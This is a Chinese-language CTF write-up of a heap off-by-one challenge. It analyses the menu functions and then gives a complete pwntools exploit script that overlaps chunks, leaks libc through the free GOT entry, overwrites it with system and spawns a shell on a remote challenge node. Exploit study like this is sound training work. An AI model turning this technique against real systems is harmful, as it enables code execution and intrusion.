这是一道非常典型的off-by-one
先分析源码
create函数
先创建一个大小0x10大小的结构体,并且+0是大小,+8是指针
struct
{
size_t size;
char* str;
}
edit函数
编辑结构体的str成员,它这里有个read_input函数,可以溢出单个字节
show函数
一般打印函数都是用来泄露libc地址的
delete函数
释放空间
既然有off-by-one,那么可以尝试堆重叠,来改变下一个堆的地址
而且又因为其创建函数,会先创建一个struct,在创建一个字符串堆,而字符串堆是通过struct堆的*str查找的,也就是说我们只要把这个变为地址变为libc里函数的一个地址
在edit,然后再把system函数给扔进去(got)就会覆盖跳转地址,在调用哪个函数即可
1 from pwn import * 2 3 context.log_level = 'debug' 4 #p=process('./pwn') 5 p=remote('node3.buuoj.cn',26446) 6 elf=ELF('./pwn') 7 libc=ELF('libc-2.27.so') 8 def add(size,content): 9 p.sendlineafter('Your choice :',str(1)) 10 p.sendlineafter('Size of Heap(0x10 or 0x20 only) : ',str(size)) 11 p.sendlineafter('Content:',content) 12 13 def delete(idx): 14 p.sendlineafter('Your choice :',str(4)) 15 p.sendlineafter('Index :',str(idx)) 16 17 def show(idx): 18 p.sendlineafter('Your choice :',str(3)) 19 p.sendlineafter('Index :',str(idx)) 20 21 def edit(idx,content): 22 p.sendlineafter('Your choice :',str(2)) 23 p.sendlineafter('Index :',str(idx)) 24 p.recvuntil("Content: ") 25 p.send(content) 26 27 add(0x18,'pppp') 28 add(0x18,'pppp') 29 add(0x18,'/bin/shx00') 30 31 edit(0,'a'*0x18+'x41') 32 delete(1) 33 34 payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free']) 35 add(0x38,payload) 36 37 show(1) 38 39 p.recvuntil('Content : ') 40 libcbase=u64(p.recvuntil('x7f').ljust(8,'x00'))-libc.symbols['free'] 41 system_addr=libcbase+libc.symbols['system'] 42 43 edit(1,p64(system_addr)) 44 #gdb.attach(p) 45 delete(2) 46 p.interactive()